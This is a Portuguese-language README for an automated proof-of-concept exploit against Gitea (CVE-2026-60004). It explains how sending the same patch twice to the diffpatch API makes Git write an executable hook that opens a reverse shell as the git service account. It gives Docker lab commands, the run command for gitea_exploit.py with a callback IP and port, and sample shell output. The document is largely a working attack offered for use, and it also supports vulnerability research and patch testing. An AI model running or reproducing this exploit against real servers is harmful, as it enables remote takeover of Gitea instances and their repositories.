
Prova de conceito automatizada de exploração para CVE-2026-60004, uma RCE no hook Git diffpatch do Gitea que instala um hook post-index-change para obter um reverse shell como a conta de serviço.
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 é uma vulnerabilidade de Execução Remota de Código (RCE) no Gitea. A API
diffpatchaplica um patch fornecido comgit apply --cached, que deveria tocar apenas o índice e nunca gravar arquivos no disco. Ao enviar o mesmo patch duas vezes, um atacante força uma colisão add/add que dispara o fallback de merge de três vias do Git (-3). Esse caminho ignora o--cachede faz o checkout do arquivo para a árvore de trabalho. Como o clone temporário é bare, a raiz de sua árvore de trabalho é$GIT_DIR. Um patch que cria um executável, portanto, instala um hook Git ativo, que o Git executa automaticamente na próxima atualização do índice — executando comandos como a conta de serviço do Gitea. O endpoint exige acesso de escrita ao repositório, mas o registro está habilitado por padrão, então qualquer usuário que consiga se cadastrar e criar um repositório pode alcançá-lo.
hooks/post-index-change| Categoria | Versão |
|---|---|
| Vulnerável | Gitea 1.17 ≤ versão ≤ 1.27.0 |
| Corrigida | Gitea 1.27.1 ou posterior |
git)Compile e execute o ambiente Gitea vulnerável. O registro é deixado aberto e o
servidor inclui Git 2.32+, que habilita o fallback -3 do qual o ataque depende.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| Pré-condição | Estado neste laboratório |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ no servidor (habilita -3) | 2.54 |
| Registro aberto | habilitado (padrão) |
| Acesso de escrita ao repositório | via conta auto-registrada |
O exploit é totalmente automatizado por gitea_exploit.py. Dada uma conta que pode
criar um repositório, ele cria o repositório alvo, envia o mesmo patch
repetidamente até que o fallback -3 do Git seja disparado, e captura o reverse shell com um
listener embutido — sem necessidade de configuração manual, criação de patch ou cálculo de hash de blob.
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
O fallback -3 só é disparado em certas janelas de tempo, então o script faz um loop
create → send → send até conseguir (padrão de 25 tentativas). Quando um envio bloqueia,
o hook foi disparado e o listener te coloca em um shell como git:
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
Opções:
--no-listen — capture o shell com seu próprio nc externo em vez do listener embutido--user / --pw / --repo / --branch — substitua a conta padrão e o repositório alvoDISABLE_REGISTRATION=true)